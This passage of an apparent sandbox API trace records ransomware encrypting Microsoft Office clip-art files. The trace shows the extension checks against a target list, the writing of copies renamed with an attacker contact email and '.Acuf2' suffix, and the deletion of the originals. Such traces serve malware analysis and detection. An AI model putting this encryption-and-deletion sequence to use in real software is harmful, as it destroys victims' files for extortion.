	[0254.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63
	[0254.842] lstrlenW (lpString=".dbf") returned 4
	[0254.842] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0254.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63
	[0254.842] lstrlenW (lpString=".1cd") returned 4
	[0254.842] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0254.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63
	[0254.842] lstrlenW (lpString=".jpg") returned 4
	[0254.842] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0254.842] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0254.842] lstrlenW (lpString="AN01545_.WMF") returned 12
	[0254.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0254.844] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=7372) returned 1
	[0254.844] CloseHandle (hObject=0x330) returned 1
	[0254.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf")) returned 0x20
	[0254.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0254.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0254.845] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.845] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0254.845] GetLastError () returned 0x0
	[0254.845] ReadFile (in: hFile=0x330, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x1ccc, lpOverlapped=0x0) returned 1
	[0254.858] WriteFile (in: hFile=0x328, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x1cd0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x1cd0, lpOverlapped=0x0) returned 1
	[0254.859] ReadFile (in: hFile=0x330, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0254.859] WriteFile (in: hFile=0x328, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0254.859] SetEndOfFile (hFile=0x328) returned 1
	[0254.859] CloseHandle (hObject=0x328) returned 1
	[0254.859] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.859] SetEndOfFile (hFile=0x330) returned 1
	[0254.861] CloseHandle (hObject=0x330) returned 1
	[0254.861] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0254.898] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf")) returned 1
	[0254.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63
	[0254.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63
	[0254.898] lstrlenW (lpString=".doc") returned 4
	[0254.898] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0254.898] lstrlenW (lpString=".docx") returned 5
	[0254.898] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0254.898] lstrlenW (lpString=".pdf") returned 4
	[0254.898] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0254.898] lstrlenW (lpString=".xls") returned 4
	[0254.898] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0254.898] lstrlenW (lpString=".xlsx") returned 5
	[0254.898] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0254.898] lstrlenW (lpString=".ppt") returned 4
	[0254.898] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0254.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63
	[0254.898] lstrlenW (lpString=".zip") returned 4
	[0254.898] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0254.898] lstrlenW (lpString=".rar") returned 4
	[0254.898] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0254.898] lstrlenW (lpString=".bz2") returned 4
	[0254.898] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0254.898] lstrlenW (lpString=".7z") returned 3
	[0254.898] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0254.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63
	[0254.899] lstrlenW (lpString=".dbf") returned 4
	[0254.899] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0254.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63
	[0254.899] lstrlenW (lpString=".1cd") returned 4
	[0254.899] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0254.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63
	[0254.899] lstrlenW (lpString=".jpg") returned 4
	[0254.899] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0254.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63
	[0254.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63
	[0254.899] lstrlenW (lpString=".doc") returned 4
	[0254.899] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0254.899] lstrlenW (lpString=".docx") returned 5
	[0254.899] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0254.899] lstrlenW (lpString=".pdf") returned 4
	[0254.899] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0254.899] lstrlenW (lpString=".xls") returned 4
	[0254.899] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0254.899] lstrlenW (lpString=".xlsx") returned 5
	[0254.899] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0254.899] lstrlenW (lpString=".ppt") returned 4
	[0254.899] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0254.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63
	[0254.899] lstrlenW (lpString=".zip") returned 4
	[0254.899] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0254.899] lstrlenW (lpString=".rar") returned 4
	[0254.899] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0254.899] lstrlenW (lpString=".bz2") returned 4
	[0254.899] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0254.899] lstrlenW (lpString=".7z") returned 3
	[0254.900] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0254.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63
	[0254.900] lstrlenW (lpString=".dbf") returned 4
	[0254.900] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0254.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63
	[0254.900] lstrlenW (lpString=".1cd") returned 4
	[0254.900] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0254.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63
	[0254.900] lstrlenW (lpString=".jpg") returned 4
	[0254.900] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0254.900] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0254.900] lstrlenW (lpString="AN04108_.WMF") returned 12
	[0254.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0254.900] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=2344) returned 1
	[0254.900] CloseHandle (hObject=0x334) returned 1
	[0254.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf")) returned 0x20
	[0254.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0254.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0254.901] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.901] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0254.902] GetLastError () returned 0x0
	[0254.902] ReadFile (in: hFile=0x334, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x928, lpOverlapped=0x0) returned 1
	[0254.905] WriteFile (in: hFile=0x350, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x930, lpOverlapped=0x0) returned 1
	[0254.905] ReadFile (in: hFile=0x334, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0254.905] WriteFile (in: hFile=0x350, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0254.905] SetEndOfFile (hFile=0x350) returned 1
	[0254.910] CloseHandle (hObject=0x350) returned 1
	[0254.910] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.910] SetEndOfFile (hFile=0x334) returned 1
	[0254.917] CloseHandle (hObject=0x334) returned 1
	[0254.917] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0254.928] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf")) returned 1
	[0254.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63
	[0254.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63
	[0254.935] lstrlenW (lpString=".doc") returned 4
	[0254.935] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0254.935] lstrlenW (lpString=".docx") returned 5
	[0254.935] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0254.935] lstrlenW (lpString=".pdf") returned 4
	[0254.935] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0254.935] lstrlenW (lpString=".xls") returned 4
	[0254.935] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0254.935] lstrlenW (lpString=".xlsx") returned 5
	[0254.935] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0254.935] lstrlenW (lpString=".ppt") returned 4
	[0254.935] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0254.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63
	[0254.935] lstrlenW (lpString=".zip") returned 4
	[0254.935] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0254.935] lstrlenW (lpString=".rar") returned 4
	[0254.935] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0254.935] lstrlenW (lpString=".bz2") returned 4
	[0254.935] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0254.935] lstrlenW (lpString=".7z") returned 3
	[0254.935] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0254.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63
	[0254.935] lstrlenW (lpString=".dbf") returned 4
	[0254.935] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0254.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63
	[0254.935] lstrlenW (lpString=".1cd") returned 4
	[0254.935] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0254.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63
	[0254.936] lstrlenW (lpString=".jpg") returned 4
	[0254.936] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0254.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63
	[0254.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63
	[0254.936] lstrlenW (lpString=".doc") returned 4
	[0254.936] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0254.936] lstrlenW (lpString=".docx") returned 5
	[0254.936] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0254.936] lstrlenW (lpString=".pdf") returned 4
	[0254.936] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0254.936] lstrlenW (lpString=".xls") returned 4
	[0254.936] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0254.936] lstrlenW (lpString=".xlsx") returned 5
	[0254.936] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0254.936] lstrlenW (lpString=".ppt") returned 4
	[0254.937] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0254.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63
	[0254.937] lstrlenW (lpString=".zip") returned 4
	[0254.937] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0254.937] lstrlenW (lpString=".rar") returned 4
	[0254.937] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0254.937] lstrlenW (lpString=".bz2") returned 4
	[0254.937] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0254.937] lstrlenW (lpString=".7z") returned 3
	[0254.937] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0254.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63
	[0254.937] lstrlenW (lpString=".dbf") returned 4
	[0254.937] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0254.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63
	[0254.937] lstrlenW (lpString=".1cd") returned 4
	[0254.937] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0254.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63
	[0254.937] lstrlenW (lpString=".jpg") returned 4
	[0254.937] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0254.937] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0254.937] lstrlenW (lpString="AN04117_.WMF") returned 12
	[0254.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0254.938] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=6060) returned 1
	[0254.938] CloseHandle (hObject=0x350) returned 1
	[0254.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf")) returned 0x20
	[0254.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0254.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0254.938] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.938] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0254.939] GetLastError () returned 0x0
	[0254.939] ReadFile (in: hFile=0x350, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x17ac, lpOverlapped=0x0) returned 1
	[0254.950] WriteFile (in: hFile=0x35c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x17b0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x17b0, lpOverlapped=0x0) returned 1
	[0254.951] ReadFile (in: hFile=0x350, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0254.951] WriteFile (in: hFile=0x35c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0254.951] SetEndOfFile (hFile=0x35c) returned 1
	[0254.951] CloseHandle (hObject=0x35c) returned 1
	[0254.951] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.951] SetEndOfFile (hFile=0x350) returned 1
	[0254.958] CloseHandle (hObject=0x350) returned 1
	[0254.958] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0254.985] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf")) returned 1
	[0254.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63
	[0254.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63
	[0254.985] lstrlenW (lpString=".doc") returned 4
	[0254.985] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0254.985] lstrlenW (lpString=".docx") returned 5
	[0254.985] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0254.985] lstrlenW (lpString=".pdf") returned 4
	[0254.985] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0254.985] lstrlenW (lpString=".xls") returned 4
	[0254.986] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0254.986] lstrlenW (lpString=".xlsx") returned 5
	[0254.986] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0254.986] lstrlenW (lpString=".ppt") returned 4
	[0254.986] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0254.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63
	[0254.986] lstrlenW (lpString=".zip") returned 4
	[0254.986] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0254.986] lstrlenW (lpString=".rar") returned 4
	[0254.986] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0254.986] lstrlenW (lpString=".bz2") returned 4
	[0254.986] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0254.986] lstrlenW (lpString=".7z") returned 3
	[0254.986] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0254.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63
	[0254.987] lstrlenW (lpString=".dbf") returned 4
	[0254.987] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0254.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63
	[0254.987] lstrlenW (lpString=".1cd") returned 4
	[0254.987] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0254.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63
	[0254.987] lstrlenW (lpString=".jpg") returned 4
	[0254.987] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0254.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63
	[0254.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63
	[0254.987] lstrlenW (lpString=".doc") returned 4
	[0254.987] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0254.987] lstrlenW (lpString=".docx") returned 5
	[0254.987] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0254.987] lstrlenW (lpString=".pdf") returned 4
	[0254.987] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0254.987] lstrlenW (lpString=".xls") returned 4
	[0254.987] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0254.987] lstrlenW (lpString=".xlsx") returned 5
	[0254.987] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0254.987] lstrlenW (lpString=".ppt") returned 4
	[0254.987] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0254.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63
	[0254.987] lstrlenW (lpString=".zip") returned 4
	[0254.987] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0254.987] lstrlenW (lpString=".rar") returned 4
	[0254.987] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0254.987] lstrlenW (lpString=".bz2") returned 4
	[0254.987] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0254.988] lstrlenW (lpString=".7z") returned 3
	[0254.988] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0254.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63
	[0254.988] lstrlenW (lpString=".dbf") returned 4
	[0254.988] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
